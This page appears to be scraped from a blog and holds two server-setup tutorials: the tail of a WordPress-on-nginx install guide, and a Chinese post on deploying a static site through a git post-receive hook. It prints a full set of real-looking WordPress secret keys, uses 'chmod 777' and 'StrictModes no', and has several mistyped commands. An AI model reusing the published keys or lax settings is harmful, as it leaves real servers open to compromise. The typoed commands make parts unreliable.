WordPress secret key generator : curl -s https://api.wordpress.org/secret-key/1.1/salt/ ------------------------------ define('AUTH_KEY',         '|V^%QD3_3G*Q7oaQRYtC).`CRE2c(pOf rR9D8|%G-y~=AmGH.bhf.vYJ1j~-wQR'); define('SECURE_AUTH_KEY',  '_Wa.<dawj6|+w0%0:K3D<0;+d,|]H7-oea,CVT_(2ha~+N(&7d+] ${-RA#^S9o<'); define('LOGGED_IN_KEY',    'hQH<I^d3G20Lp,ep%>f}m#beM9|vL&Yxt5iJwK4qlK25Qe#_+Np4Su?WZzQ~)+@R'); define('NONCE_KEY',        ')b(/p}n{+BR=<| ^Hs=7G<A?Q9C?X=}fnR2x8r)U-V;|-|A4G:zV58pxicLd~G%/'); define('AUTH_SALT',        'HLJl6K5b4uGPsb^ev?E!Qi<4_0PD[z/|.CNx+cM8 O-&Qe l(tQ_j#@ellU)kd +'); define('SECURE_AUTH_SALT', 'sw1uE~TgH5~gYK23kdvn_p.<yS,G{8_G^=.m)1Y2U+34vvQWK4}D[}} %K:w^tw='); define('LOGGED_IN_SALT',   'y1Yb 2xG;yHgN*&*L|i2{mrfdGmPX2.E|l=U%gekC$x@G;dxTIL|-cw]zJZv{- <'); define('NONCE_SALT',       '.coEf^|KY.|$`>MmuW5H(bEFY&_*r4Jky(Dh?,M6V)`!867aG~9-V+ESJK}rq9`8'); ------------------------------ sudo nano /var/www/linuxscoop/wp-config.php ------------------------------ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'database_name' );
/** MySQL database username */ define( 'DB_USER', 'database_user' );
/** MySQL database password */ define( 'DB_PASSWORD', 'database_passsword' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' ); ------------------------------ sudo chown -Rv www-data:www-data /var/www/domain/
============================== INSTALL AND CONFIGURE LET'S ENCRYPT SSL CERTIFICATE ============================== sudo apt install python3-acme python3-certbot python3-mock python3-openssl python3-pkg-resources python3-pyparsing python3-zope.interface sudo apt install python3-certbot-nginx sudo certbot --nginx -d domain.name -d www.domain.name
Renew : sudo certbot renew --dry-run ============================== SETTING UP FIREWALL ============================== sudo apt install ufw sudo ufw enable sudo ufw app list sudo ufw allow 22500/tcp comment 'Open port ssh tcp port 22500' sudo ufw allow 80 sudo ufw allow 443 sudo ufw status
============================== COMPLETE WORDPRESS SETUP ============================== Install wordpress through Web Browser
5 notes · View notes
ohto-ai · 5 years ago
Text
哪个男孩子不想拥有一个git同步的网站呢?
服务器创建git用户
addusr git passwd git
创建信任关系
Tip: 每次提交就不用输入密码了
本地创建key公钥证书
ssh-keygen -t rsa -C "[email protected]" cat ~/.ssh/id_rsa.pub
复制公钥到服务器
ssh-copy-id -i .ssh/id_rsa.pub [email protected]
如果不识别ssh-copy-id指令,可以手动替换(建议加在authorized_keys结尾)
scp -p ~/.ssh/id_rsa.pub [email protected]:~/.ssh/authorized_keys
赋予权限
chomd 700 .ssh cd .ssh & chmod 600 authorized_keys
Tip: 可以修改git用户的权限,比如禁止登录等
修改ssh认证
sudo vim /etc/ssh/sshd_config RSAAuthentication yes #开启RSA认证功能 PubkeyAuthentication yes #开启公匙认证 StricModes no #不强制要求登录用户和文件拥有者用户相同
初始化git仓库
su root cd /usr/repos && git init --bare website.git chown -R git.git website.git
本地测试推送
略(git bash/github-desktop)
[email protected]:/usr/repos/website.git
服务器clone
略(git账户)
[email protected]:/usr/repos/website.git
利用钩子编写自动执行程序
touch /usr/repos/website/hooks/post-receive chmod -R 777 /usr/repos/website/hooks/post-receive vim /usr/repos/website/hooks/post-receive
内容如下
#!/bin/sh git --work-tree=/usr/website --git-dir=/usr/repos/website.git checkout -f
设置nginx目录
Tip: 需要管理员账户修改nginx.conf
sudo vim /usr/local/nginx/conf/nginx.conf
修正http和https为正确目录
# http部分 location / { root /usr/website; index index.html index.htm; } error_page 404 /404.html; location = /404.html { root /usr/website; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/website; } # https部分 location / { root /usr/website; index index.html index.htm; } error_page 404 /404.html; location = /404.html { root /usr/website; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/website; }
打完手工
sudo /usr/local/nginx/sbin/nginx -s reload
在本地修改好网站即可通过git提交修改,可以避免每次都要手动同步被修改的文件的痛苦。
补充
网站目录可搬迁,注意一下钩子的指令,最好执行一次以同步。
如果使用hexo等工具搭建可以更方便的修改提交哟,这里针对的是自己写的静态网站。
1 note · View note